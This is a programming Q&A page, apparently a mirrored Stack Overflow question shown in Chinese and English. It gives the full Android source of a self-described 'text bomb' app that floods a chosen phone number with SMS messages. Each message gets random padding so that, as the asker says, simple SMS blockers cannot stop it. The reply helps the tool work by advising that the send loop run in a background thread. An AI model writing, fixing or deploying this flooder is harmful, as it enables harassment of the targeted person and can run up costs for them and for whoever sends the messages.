应用力以 100 + 关闭短信
可能的重复:
Android应用程序强制关闭
仍在处理我的文本炸弹应用程序,我做了一些改进,因此它不能被简单的短信拦截器拦截,并且需要验证,因此用户必须输入正确的信息,否则它不会发送/强制关闭。但现在我试图找出为什么它会强制关闭并尝试发送大量短信。
这是我的代码:
import java.util.Random;
import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.view.View;
import android.view.inputmethod.InputMethodManager;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
public class MainActivity extends Activity {
EditText PhNumber, Message, TxtCount;
Button btnSendSMS;
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
//create text box to enter phone number
PhNumber=(EditText) findViewById(R.id.PhNumber);
//create text box to enter message
Message=(EditText) findViewById(R.id.Message);
//create text box to see how many times the user wants to send message
TxtCount=(EditText) findViewById(R.id.TxtCount);
//create button to send text message
btnSendSMS = (Button) findViewById(R.id.btnSendSMS);
//create listener for button
btnSendSMS.setOnClickListener(new View.OnClickListener()
{
public void onClick(View v)
{
//variable for count.
int count = 1;
//variable for text message
String msg = Message.getText().toString();
//create string array of the alphabet
String[] mArray = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",
"n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "r", "x", "y", "z"};
//create variable to hold random number
final Random r = new Random();
//variable for phone number
String num = PhNumber.getText().toString();
//create array of the phone number to get the number of numbers entered.
char[] nArray = num.toCharArray();
//variable for the amount of text messages to send.
String max1 = TxtCount.getText().toString();
//variable to watch button and hide keyboard
InputMethodManager mgr = (InputMethodManager) getSystemService(Context.INPUT_METHOD_SERVICE);
//test to see if number has a value
if (num.equals("") || (nArray.length < 10))
{
Toast.makeText(getApplicationContext(), "Enter a 10 digit phone number to nuke!", Toast.LENGTH_SHORT).show();
return;
}
//test to see if msg has a value
if (msg.equals(""))
{
Toast.makeText(getApplicationContext(), "Enter a message!", Toast.LENGTH_SHORT).show();
return;
}
//test to see if there's a number of times to text
if (max1.equals("") || (Integer.parseInt(TxtCount.getText().toString()) <= 0))
{
Toast.makeText(getApplicationContext(), "Enter a number more than zero to nuke!", Toast.LENGTH_SHORT).show();
return;
}
//if all fields have valid data -- send text message until count = max
int max = Integer.parseInt(TxtCount.getText().toString());
while (count <= max) {
//create variable to hold random letter of the alphabet
String rLetter = mArray[r.nextInt(27)];
String rLetter2 =mArray[r.nextInt(27)];
final Random i = new Random();
sendSMS(num, (rLetter + i.nextInt(100) + rLetter2 + " " + msg + " " + rLetter + i.nextInt(100) +rLetter2));
count++;
};
//hide the keyboard
mgr.hideSoftInputFromWindow(TxtCount.getWindowToken(), 0);
mgr.hideSoftInputFromWindow(PhNumber.getWindowToken(), 0);
mgr.hideSoftInputFromWindow(Message.getWindowToken(), 0);
//set phone number to ""
PhNumber.setText("");
//set message to ""
Message.setText("");
//set count to ""
TxtCount.setText("");
//refocus on phone number
PhNumber.requestFocus();
}
});
}
//sends a sms message to another device
private void sendSMS(String phoneNumber, String message)
{
SmsManager sms = SmsManager.getDefault();
sms.sendTextMessage(phoneNumber, null, message, null, null);
}
}
Possible Duplicate:
Android application force close
Still working on my text bomb application, I've made some improvements so it cannot be blocked by a simple SMS blocker and there is validation so a user has to enter correct information or it wont send / force close. But now i'm trying to find out why it is force closing with a large amount of text messages trying to be sent.
Here is my code:
import java.util.Random;
import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.view.View;
import android.view.inputmethod.InputMethodManager;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
public class MainActivity extends Activity {
EditText PhNumber, Message, TxtCount;
Button btnSendSMS;
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
//create text box to enter phone number
PhNumber=(EditText) findViewById(R.id.PhNumber);
//create text box to enter message
Message=(EditText) findViewById(R.id.Message);
//create text box to see how many times the user wants to send message
TxtCount=(EditText) findViewById(R.id.TxtCount);
//create button to send text message
btnSendSMS = (Button) findViewById(R.id.btnSendSMS);
//create listener for button
btnSendSMS.setOnClickListener(new View.OnClickListener()
{
public void onClick(View v)
{
//variable for count.
int count = 1;
//variable for text message
String msg = Message.getText().toString();
//create string array of the alphabet
String[] mArray = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",
"n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "r", "x", "y", "z"};
//create variable to hold random number
final Random r = new Random();
//variable for phone number
String num = PhNumber.getText().toString();
//create array of the phone number to get the number of numbers entered.
char[] nArray = num.toCharArray();
//variable for the amount of text messages to send.
String max1 = TxtCount.getText().toString();
//variable to watch button and hide keyboard
InputMethodManager mgr = (InputMethodManager) getSystemService(Context.INPUT_METHOD_SERVICE);
//test to see if number has a value
if (num.equals("") || (nArray.length < 10))
{
Toast.makeText(getApplicationContext(), "Enter a 10 digit phone number to nuke!", Toast.LENGTH_SHORT).show();
return;
}
//test to see if msg has a value
if (msg.equals(""))
{
Toast.makeText(getApplicationContext(), "Enter a message!", Toast.LENGTH_SHORT).show();
return;
}
//test to see if there's a number of times to text
if (max1.equals("") || (Integer.parseInt(TxtCount.getText().toString()) <= 0))
{
Toast.makeText(getApplicationContext(), "Enter a number more than zero to nuke!", Toast.LENGTH_SHORT).show();
return;
}
//if all fields have valid data -- send text message until count = max
int max = Integer.parseInt(TxtCount.getText().toString());
while (count <= max) {
//create variable to hold random letter of the alphabet
String rLetter = mArray[r.nextInt(27)];
String rLetter2 =mArray[r.nextInt(27)];
final Random i = new Random();
sendSMS(num, (rLetter + i.nextInt(100) + rLetter2 + " " + msg + " " + rLetter + i.nextInt(100) +rLetter2));
count++;
};
//hide the keyboard
mgr.hideSoftInputFromWindow(TxtCount.getWindowToken(), 0);
mgr.hideSoftInputFromWindow(PhNumber.getWindowToken(), 0);
mgr.hideSoftInputFromWindow(Message.getWindowToken(), 0);
//set phone number to ""
PhNumber.setText("");
//set message to ""
Message.setText("");
//set count to ""
TxtCount.setText("");
//refocus on phone number
PhNumber.requestFocus();
}
});
}
//sends a sms message to another device
private void sendSMS(String phoneNumber, String message)
{
SmsManager sms = SmsManager.getDefault();
sms.sendTextMessage(phoneNumber, null, message, null, null);
}
}
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论
评论(1)
您正在尝试在 ui 线程上执行时间密集型操作。在后台线程中运行 while 循环。 http://www.vogella.de/articles/AndroidPerformance/article.html#concurrency_asynchtask
You are trying to do a time intensive operation on the ui thread. Run the while loop in a background thread. http://www.vogella.de/articles/AndroidPerformance/article.html#concurrency_asynchtask